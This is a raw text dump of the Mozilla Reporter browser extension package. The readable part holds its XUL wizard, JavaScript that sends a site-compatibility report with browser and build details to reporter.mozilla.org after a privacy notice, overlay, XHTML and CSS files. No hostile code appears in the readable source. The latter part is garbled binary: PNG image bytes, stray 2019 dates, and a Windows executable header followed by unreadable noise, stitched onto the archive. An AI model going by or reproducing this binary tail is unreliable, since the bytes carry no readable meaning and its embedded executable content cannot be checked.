<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
<?xml-stylesheet href="chrome://reporter/skin/reportWizard.css" type="text/css"?>
<!DOCTYPE wizard [
<!ENTITY % brandDTD SYSTEM "chrome://branding/locale/brand.dtd">
%brandDTD;
<!ENTITY % reportWizardDTD SYSTEM "chrome://reporter/locale/reportWizard.dtd">
%reportWizardDTD;
<wizard id="reportWizard" title="&reportWizard.title;"
style="min-width: 535px; min-height: 442px;"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reportWizard.js"/>
<stringbundle id="strings" src="chrome://reporter/locale/reportWizard.properties"/>
<!-- Privacy Notice -->
<wizardpage id="privacyNotice"
onpageshow="initPrivacyNotice()"
onpageadvanced="setPrivacyPref()"
label = "&privacyNotice.label;">
<description>&reportWizardPrivacy.description;</description>
<vbox id="privacyFrame" flex="1">
<iframe id="privacyStatement" type="content" flex="1" src="" />
</vbox>
<description id="mustAgree">&reportWizardMustAgree.description;</description>
<vbox>
<hbox>
<checkbox id="dontShowPrivacyStatement" label="&dontShowPrivacyStatement.label;" accesskey="&dontShowPrivacyStatement.accesskey;" oncommand="privacyPolicyCheckbox()" />
</hbox>
</vbox>
</wizardpage>
<!-- Report Form -->
<wizardpage id="reportForm"
onpageshow="initForm()"
label="&reportForm.label;">
<description>&reportForm.description;</description>
<separator />
<grid>
<columns>
<column/>
<column flex="1"/>
</columns>
<rows>
<row align="center">
<label control="url" value="&reportForm.url.title;" accesskey="&reportForm.url.accesskey;"/>
<textbox id="url" size="60" readonly="true" class="noborder"/>
</row>
<row align="center">
<spacer/>
<checkbox id="behind_login" label="&reportForm.behind_login.title;" accesskey="&reportForm.behind_login.accesskey;"/>
</row>
<row align="center">
<label control="problem_type" value="&reportForm.problem_type.title;" accesskey="&reportForm.problem_type.accesskey;"/>
<!-- XXX: Perhaps this should eventually/maybe come from somewhere else? Eh, not sure so lets just hardcode this for now. -->
<menulist label="problem_type" id="problem_type" oncommand="validateForm()">
<menupopup>
<!-- ************* WARNING *************** -->
<!-- DO *NOT* Add/change/modify without consulting with r.m.o server admin first! -->
<!-- ************ /WARNING *************** -->
<menuitem label="&reportForm.problem_type.chooseOne.title;" value="0"/>
<menuitem label="&reportForm.problem_type.item1.title;" value="1"/>
<menuitem label="&reportForm.problem_type.item2.title;" value="2"/>
<menuitem label="&reportForm.problem_type.item3.title;" value="3"/>
<menuitem label="&reportForm.problem_type.item4.title;" value="4"/>
<menuitem label="&reportForm.problem_type.item5.title;" value="5"/>
<menuitem label="&reportForm.problem_type.item6.title;" value="6"/>
<menuitem label="&reportForm.problem_type.item8.title;" value="8"/>
<menuitem label="&reportForm.problem_type.item9.title;" value="9"/>
<!-- Other problem: must be item #7 and must be last -->
<menuitem label="&reportForm.problem_type.item7.title;" value="7"/>
</menupopup>
</menulist>
</row>
<row>
<label control="description" value="&reportForm.describe.title;" accesskey="&reportForm.describe.accesskey;"/>
<textbox id="description" value="" cols="40" rows="5" multiline="true" size="40" class="noborder"/>
</row>
<row align="center">
<label control="email" value="&reportForm.email.title;" accesskey="&reportForm.email.accesskey;"/>
<textbox id="email" size="60" class="noborder"/>
</row>
<row align="center">
<spacer/>
<hbox>
<label id="privacyPolicy" class="text-link"
value="&reportForm.privacyPolicy.title;"
tooltiptext="&reportForm.privacyPolicy.tooltip;"/>
</hbox>
</row>
</rows>
</grid>
</wizardpage>
<!-- Send Data -->
<wizardpage id="sendReport"
onpageshow="sendReport()"
label="&sendReport.label;">
<description>&sendReport.description;</description>
<separator />
<description id="sendReportProgressDescription"/>
<progressmeter id="sendReportProgressIndicator" mode="undetermined" value="0%"/>
</wizardpage>
<!-- Finish -->
<wizardpage id="finish"
label="&finish.label;">
<textbox id="finishSummary" size="60" readonly="true"/>
<hbox>
<checkbox id="showDetail" label="&reportResults.showDetail.title;" accesskey="&reportResults.showDetail.accesskey;" oncommand="showDetail()"/>
</hbox>
<vbox id="finishExtendedFrame" flex="1">
<iframe id="finishExtendedSuccess" type="content" src="report.xhtml" flex="1"/>
<iframe id="finishExtendedFailed" type="content" src="error.xhtml" flex="1"/>
</vbox>
</wizardpage>
</wizard>
}e7IF;
content/reporter/reportWizard.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Boris Zbarsky <bzbarsky@mit.edu>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
/********************************************************
* *** Warning ****
* DO _NOT_ MODIFY THIS FILE without first contacting
* Robert Accettura <robert@accettura.com>
* or a reporter.mozilla.org Admin!
*******************************************************/
const gParamLanguage = window.navigator.language;
const gRMOvers = "0.3"; // Do not touch without contacting reporter admin!
const gParamURL = window.arguments[0];
const gParamUserAgent = navigator.userAgent;
const gParamOSCPU = navigator.oscpu;
const gParamPlatform = navigator.platform;
const gCharset = window.arguments[1];
// Globals
var gParamDescription;
var gParamProblemType;
var gParamBehindLogin;
var gParamEmail;
var gParamBuildConfig;
var gParamGecko;
var gPrefBranch;
var gStatusIndicator;
function getReporterPrefBranch() {
if (!gPrefBranch) {
gPrefBranch = Components.classes["@mozilla.org/preferences-service;1"]
.getService(Components.interfaces.nsIPrefService)
.getBranch("extensions.reporter.");
return gPrefBranch;
function getBoolPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getBoolPref(prefname);
catch(ex) {
return aDefault;
function getCharPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getCharPref(prefname);
catch(ex) {
return aDefault;
function initPrivacyNotice() {
var reportWizard = document.getElementById('reportWizard');
// If they agreed, we continue on
if (getBoolPref("hidePrivacyStatement", false)) {
reportWizard.advance();
} else {
// Don't let users rewind or go forward
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// Load Privacy Policy
var privacyURL = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
document.getElementById("privacyStatement").setAttribute("src", privacyURL+"?plain");
function privacyPolicyCheckbox() {
// if checked, hide message and enable forward button, otherwise show the
// message and disable the forward button.
var canAdvance = document.getElementById('dontShowPrivacyStatement').checked;
document.getElementById('reportWizard').canAdvance = canAdvance;
function setPrivacyPref(){
if (document.getElementById('dontShowPrivacyStatement').checked){
var prefs = getReporterPrefBranch();
prefs.setBoolPref("hidePrivacyStatement", true);
function initForm() {
var strbundle=document.getElementById("strings");
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
document.getElementById('url').value = gParamURL;
// Change next button to "submit report"
reportWizard.getButton('next').label = strbundle.getString("submitReport");
reportWizard.getButton('next').setAttribute("accesskey",
strbundle.getString("submitReport.accesskey"));
// Set the privacy policy link href
var url = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
var privacyLink = document.getElementById("privacyPolicy");
privacyLink.setAttribute("href", url);
// We don't let the user go forward until they fulfill certain requirements - see validateform()
reportWizard.canAdvance = false;
document.getElementById("problem_type").focus();
function validateForm() {
var canAdvance = document.getElementById('problem_type').value != "0";
document.getElementById('reportWizard').canAdvance = canAdvance;
function registerSysID() {
var param = {
'method': 'submitRegister',
'language': gParamLanguage
// go get sysID
sendReporterServerData(param, onRegisterSysIDLoad);
function onRegisterSysIDLoad(req) {
if (req.status == 200) {
var paramSysID = req.responseXML.getElementsByTagName('result').item(0);
// saving
if (paramSysID) {
var prefs = getReporterPrefBranch();
prefs.setCharPref("sysid", paramSysID.textContent);
// Finally send report
sendReport();
return;
// Invalid Response Error
var strbundle = document.getElementById("strings");
showError(strbundle.getString("invalidResponse"));
return;
// On error
var errorStr = extractError(req);
showError(errorStr);
function sendReport() {
// Check for a sysid, if we don't have one, get one it will call sendReport on success.
var sysId = getCharPref("sysid", "");
if (sysId == ""){
registerSysID();
return;
// we control the user path from here.
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// why would we need a cancel button?
reportWizard.getButton("cancel").disabled = true;
var strbundle=document.getElementById("strings");
var statusDescription = document.getElementById('sendReportProgressDescription');
gStatusIndicator = document.getElementById('sendReportProgressIndicator');
// Data from form we need
gParamDescription = document.getElementById('description').value;
gParamProblemType = document.getElementById('problem_type').value;
gParamBehindLogin = document.getElementById('behind_login').checked;
gParamEmail = document.getElementById('email').value;
gParamBuildConfig = getBuildConfig();
gParamGecko = getGecko();
// params
var param = {
'method': 'submitReport',
'rmoVers': gRMOvers,
'url': gParamURL,
'problem_type': gParamProblemType,
'description': gParamDescription,
'behind_login': gParamBehindLogin,
'platform': gParamPlatform,
'oscpu': gParamOSCPU,
'gecko': gParamGecko,
'product': getProduct(),
'useragent': gParamUserAgent,
'buildconfig': gParamBuildConfig,
'language': gParamLanguage,
'email': gParamEmail,
'charset': gCharset,
'sysid': sysId
gStatusIndicator.value = "5%";
statusDescription.value = strbundle.getString("sendingReport");
sendReporterServerData(param, onSendReportDataLoad);
function onSendReportDataProgress(e) {
gStatusIndicator.value = (e.position / e.totalSize)*100;
function sendReporterServerData(params, callback) {
var serviceURL = getCharPref("serviceURL", "http://reporter.mozilla.org/service/0.3/");
params = serializeParams(params);
var request = new XMLHttpRequest();
request.onprogress = onSendReportDataProgress;
request.open("POST", serviceURL, true);
request.onreadystatechange = function () {
if (request.readyState == 4)
callback(request);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.setRequestHeader("Content-length", params.length);
request.setRequestHeader("Connection", "close");
request.send(params);
function serializeParams(params) {
var str = '';
for (var key in params) {
str += key + '=' + encodeURIComponent(params[key]) + '&';
return str.slice(0, -1);
function onSendReportDataLoad(req) {
if (req.status != 200) {
var errorStr = extractError(req);
showError(errorStr);
return;
var reportWizard = document.getElementById('reportWizard');
var finishSummary = document.getElementById('finishSummary');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var statusDescription = document.getElementById('sendReportProgressDescription');
var strbundle = document.getElementById("strings");
// If successful
finishExtendedFailed.hidden = true;
statusDescription.value = strbundle.getString("reportSent");
reportWizard.canAdvance = true;
gStatusIndicator.value = "100%";
// Send to the finish page
reportWizard.advance();
// report ID returned from the web service
var reportId = req.responseXML.getElementsByTagName('reportId').item(0).firstChild.data;
finishSummary.value = strbundle.getString("successfullyCreatedReport") + " " + reportId;
finishExtendedDoc = finishExtendedSuccess.contentDocument;
finishExtendedDoc.getElementById('urlStri').textContent = gParamURL;
finishExtendedDoc.getElementById('problemTypeStri').textContent = document.getElementById('problem_type').label;
finishExtendedDoc.getElementById('descriptionStri').textContent = gParamDescription;
finishExtendedDoc.getElementById('platformStri').textContent = gParamPlatform;
finishExtendedDoc.getElementById('oscpuStri').textContent = gParamOSCPU;
finishExtendedDoc.getElementById('productStri').textContent = getProduct();
finishExtendedDoc.getElementById('geckoStri').textContent = gParamGecko;
finishExtendedDoc.getElementById('buildConfigStri').textContent = gParamBuildConfig;
finishExtendedDoc.getElementById('userAgentStri').textContent = gParamUserAgent;
finishExtendedDoc.getElementById('langStri').textContent = gParamLanguage;
finishExtendedDoc.getElementById('emailStri').textContent = gParamEmail;
finishExtendedDoc.getElementById('charsetStri').textContent = gCharset;
reportWizard.canRewind = false;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
return;
function extractError(req){
var error = req.responseXML.getElementsByTagName('errorString').item(0)
if (error) {
return error.textContent;
// Default error
var strbundle = document.getElementById("strings");
return strbundle.getString("defaultError");
function showError(errorStr){
var strbundle = document.getElementById("strings");
var finishSummary = document.getElementById('finishSummary');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
// If there was an error from the server
finishExtendedSuccess.hidden = true;
// Change the label on the page so users know we have an error
var finishPage = document.getElementById('finish');
finishPage.setAttribute("label",strbundle.getString("finishError"));
var reportWizard = document.getElementById('reportWizard');
reportWizard.canAdvance = true;
reportWizard.advance();
finishSummary.value = strbundle.getString("failedCreatingReport");
finishExtendedDoc = finishExtendedFailed.contentDocument;
finishExtendedDoc.getElementById('faultMessage').textContent = errorStr;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
function showDetail() {
var hideDetail = document.getElementById('showDetail').checked ? false : true;
document.getElementById('finishExtendedFrame').collapsed = hideDetail;
function getBuildConfig() {
// bz and Biesi are my heroes for writing/debugging this chunk.
try {
var ioservice =
Components.classes["@mozilla.org/network/io-service;1"]
.getService(Components.interfaces.nsIIOService);
var channel = ioservice.newChannel("chrome://global/content/buildconfig.html", null, null);
var stream = channel.open();
var scriptableInputStream =
Components.classes["@mozilla.org/scriptableinputstream;1"]
.createInstance(Components.interfaces.nsIScriptableInputStream);
scriptableInputStream.init(stream);
var data = "";
var curBit = scriptableInputStream.read(4096);
while (curBit.length) {
data += curBit;
curBit = scriptableInputStream.read(4096);
// Strip out the <!DOCTYPE> part, since it's not valid XML
data = data.replace(/^<!DOCTYPE[^>]*>/, "");
// Probably not strictly needed, but what the heck
data = data.replace(/^<html>/, "<html xmlns='http://www.w3.org/1999/xhtml'>");
var parser = new DOMParser();
var buildconfig = parser.parseFromString(data, "application/xhtml+xml");
var text = buildconfig.getElementsByTagName("body")[0].textContent;
var start= text.indexOf('Configure arguments')+19;
return text.substring(start);
} catch(ex) {
dump(ex);
return "Unknown";
function getProduct() {
try {
// Works on Firefox 1.0+ and Future SeaMonkey's
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.name+"/"+appInfo.version;
catch(ex) {}
// only works on Gecko 1.8 and higher (if above doesn't return)
if ('nsIChromeRegistrySea' in Components.interfaces) {
return 'SeaMonkey/'+
Components.classes['@mozilla.org/network/io-service;1']
.getService(Components.interfaces.nsIIOService)
.getProtocolHandler('http')
.QueryInterface(Components.interfaces.nsIHttpProtocolHandler).misc.substring(3);
// Firefox < 1.0+ or a last ditch effort for others that may fail
else if (navigator.vendor != ''){
return window.navigator.vendor+'/'+window.navigator.vendorSub;
else {
return "Unknown";
function getGecko() {
try {
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.platformBuildID;
catch(ex) {
return "00000000"; // 8 0's to ignore as we have historically
content/reporter/reporterOverlay.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Jay Patel <jay@mozilla.org>
- Gavin Sharp <gavin@gavinsharp.com>
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<!DOCTYPE overlay SYSTEM "chrome://reporter/locale/reporterOverlay.dtd">
<overlay id="reporterMenuOverlay"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reporterOverlay.js"/>
<!-- Firefox -->
<broadcasterset id="mainBroadcasterSet">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="menu_HelpPopup">
<menuitem id="menu_HelpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertafter="releaseNotes"
observes="reporterItemsBroadcaster"
oncommand="loadReporterWizard()"/>
</menupopup>
<!-- SeaMonkey -->
<broadcasterset id="navBroadcasters">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="helpPopup">
<menuseparator insertbefore="menu_HelpAboutSeparator"/>
<menuitem id="helpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertbefore="menu_HelpAboutSeparator"
oncommand="loadReporterWizard()"
observes="reporterItemsBroadcaster"/>
</menupopup>
</overlay>
}e73w@
content/reporter/reporterOverlay.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Gavin Sharp <gavin@gavinsharp.com>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
var reporterListener = {
QueryInterface: function(aIID) {
if (aIID.equals(Components.interfaces.nsIWebProgressListener) ||
aIID.equals(Components.interfaces.nsIWebProgressListener2) ||
aIID.equals(Components.interfaces.nsISupportsWeakReference) ||
aIID.equals(Components.interfaces.nsISupports))
return this;
throw Components.results.NS_NOINTERFACE;
onLocationChange: function(aProgress, aRequest, aURI) {
var broadcaster = document.getElementById("reporterItemsBroadcaster");
var isEnabled = false;
if (aURI instanceof Components.interfaces.nsIURI) {
switch (aURI.scheme) {
case "http":
case "https":
case "ftp":
case "gopher":
isEnabled = true;
}
broadcaster.setAttribute("disabled", !isEnabled);
onStateChange: function() { },
onProgressChange: function() { },
onStatusChange: function() { },
onSecurityChange: function() { },
onLinkIconAvailable: function() { },
onProgressChange64: function() { },
onRefreshAttempted: function() { return true; }
function onBrowserLoad() {
if ("undefined" != typeof(gBrowser))
gBrowser.addProgressListener(reporterListener);
function loadReporterWizard() {
var browser = getBrowser();
var charSet = browser.contentDocument.characterSet;
var url = browser.currentURI.spec;
window.openDialog("chrome://reporter/content/reportWizard.xul", "",
"chrome,centerscreen,dialog",
url,
charSet);
return true;
window.addEventListener("load", onBrowserLoad, false);
content/reporter/error.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<h3>&error;</h3>
<div id="messagediv"><span id="faultMessage"/></div>
</body>
</html>
content/reporter/report.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<table>
<th>&reportSite;:</th>
<td><span id="urlStri"/></td>
<th>&reportProblemType;:</th>
<td><span id="problemTypeStri"/></td>
<th>&reportDecsription;:</th>
<td><span id="descriptionStri"/></td>
<th>&reportPlatform;:</th>
<td><span id="platformStri"/></td>
<th>&reportProduct;:</th>
<td><span id="productStri"/></td>
<th>&reportoscpu;:</th>
<td><span id="oscpuStri"/></td>
<th>&reportGecko;:</th>
<td><span id="geckoStri"/></td>
<th>&reportBuildConfig;:</th>
<td><span id="buildConfigStri"/></td>
<th>&reportUseragent;:</th>
<td><span id="userAgentStri"/></td>
<th>&reportLanguage;:</th>
<td><span id="langStri"/></td>
<th>&reportCharset;:</th>
<td><span id="charsetStri"/></td>
<th>&reportEmail;:</th>
<td><span id="emailStri"/></td>
</table>
</body>
</html>
[62t]GA
skin/classic/reporter/icon.pngPNG
tEXtComment
Created with The GIMPd%n
D y<YE
_wi:rsrG
!_v'")GH
EPy//o=,
*s]o)TlpP'
VfD7$}v8v=
H;P'L{
=c,432
u}\squ
J7\HE]&
s2/VFVA
IENDB`PK
skin/classic/reporter/reportResults.cssbody {
font: message-box;
width: 100px;
text-align: left;
vertical-align: top;
table {
width: 95%;
skin/classic/reporter/reportWizard.css/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
#privacyFrame, #finishExtendedFrame {
-moz-appearance: listbox;
margin: 2px 4px;
border: 2px solid;
-moz-border-top-colors: ThreeDShadow ThreeDDarkShadow;
-moz-border-right-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-bottom-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-left-colors: ThreeDShadow ThreeDDarkShadow;
background-color: -moz-Field;
color: -moz-FieldText;
wizard[description=""] .wizard-header-description {
display: none;
content/reporter/reportWizard.xulPK
}e7IF;
content/reporter/reportWizard.jsPK
content/reporter/reporterOverlay.xulPK
}e73w@
content/reporter/reporterOverlay.jsPK
content/reporter/error.xhtmlPK
content/reporter/report.xhtmlPK
[62t]GA
skin/classic/reporter/icon.pngPK
skin/classic/reporter/reportResults.cssPK
skin/classic/reporter/reportWizard.cssPK
4/5/2019 4/5/2019 4/6/2019 14/6/2019 1BM8
Xea8I>v
BOD`jatuky
3@68F8@J;\f^qwu~y
at{y{4A3#/
qIQDjrh
6B5Sb^
wDG>4?3+=2tr^
lqkswn_eY
x0<@%5'3?/
grqZaYw|w
Zl@JtOYN"3%|
pusq{}
->>.;9
;I?GZT^mn
#-:HQ{p|{;LGauz
c: j>#pC&wJ*}L)xbUa`(7Vtehf\]s0AAHZTvcv}k
$.;IfvDHD8MTd{g~m~TfaUgbK`\]rw}aS?c8
"&K\\|RgrezXmuzJ]fsbqo@PKCTOD]d~'$
(6,.C<Uikt
iyA[hk~Zn
4JZ*:8
!+#*=5@WVObd
Z{e}3Qw;Vl
VY\^dl<BF=FH
+=55JF;PNIar
i|TewA[ob}Tfr
#'ZaiVajdq~!+''805MNZs
lZw(K,Z);K
x*=Ej|
$'-.98?QW7EJ
+-]v@R`q~Xtj)Bj&>m+FdK_te|4LVrBHI
15<jwu<J>JZYRfnPl+E\
*.buzb-Hq+M@Ts0E\
Vm~-7U7A;_eb7=C
4;C_lp
3DP3CJRdv3Ka@Zs
;]w;KXRn
;@D~6O`
/<I\i<qD|evv<Xjbu~DVX,;?
{NhyVn
'F^sl{;QX"-'
'! )!&
4Ro.D[%4D
CHPSmLi;N`
2OlUt
k$M4aKx/Mu
!*+:L}
,H%Ab6^!2G
'?]&Ef*Im
*2-6/=GB
'-1;;/80!&"
CRk1Gi
6BG_lw]gn
@b=cSx>Vw
AJW%(-
"*7;EahrCf Bf-T{?b^~|6AQ1:IfrIOX
AVg(FcSt
QdrH[sGf
g|>Vlatz
+Yesz{py
"*7FQa|bn
zxmv@FP
NZk?[}fvNV`
~`{d|ESf
)7n~T]m
hp}IP[
4/8/2019 4/8/2019 4/10/2019 4/10/2019 MZ
L!This program cannot be run in DOS mode.
PEC2^O
mbTpEN
:EWB(CO!
P\_!"%
hDB;e@~o
u|KrA/
b^UbUA
#Dzsb2dp&d
I81,xN6`
@Kk\;>d_y
%WzztE+`i[gV[bf1=9
D;kbr7?WY|
Z(PQ.KWUd
IWa+VW
t_%f]l.k+
b7/+Kv=Qg
E\!yP^U,agOPB`
ie}>u!
{xzGG3v0c\>AtUVY
q|^pXK
#il;C2
ktbQo!TZ
.,.Mh!Y!h'.*
q'e1_?m("
Xd'Ziay
n-C/T
0#ZWT|@KJ
eDtlk1
Vh0y&]!
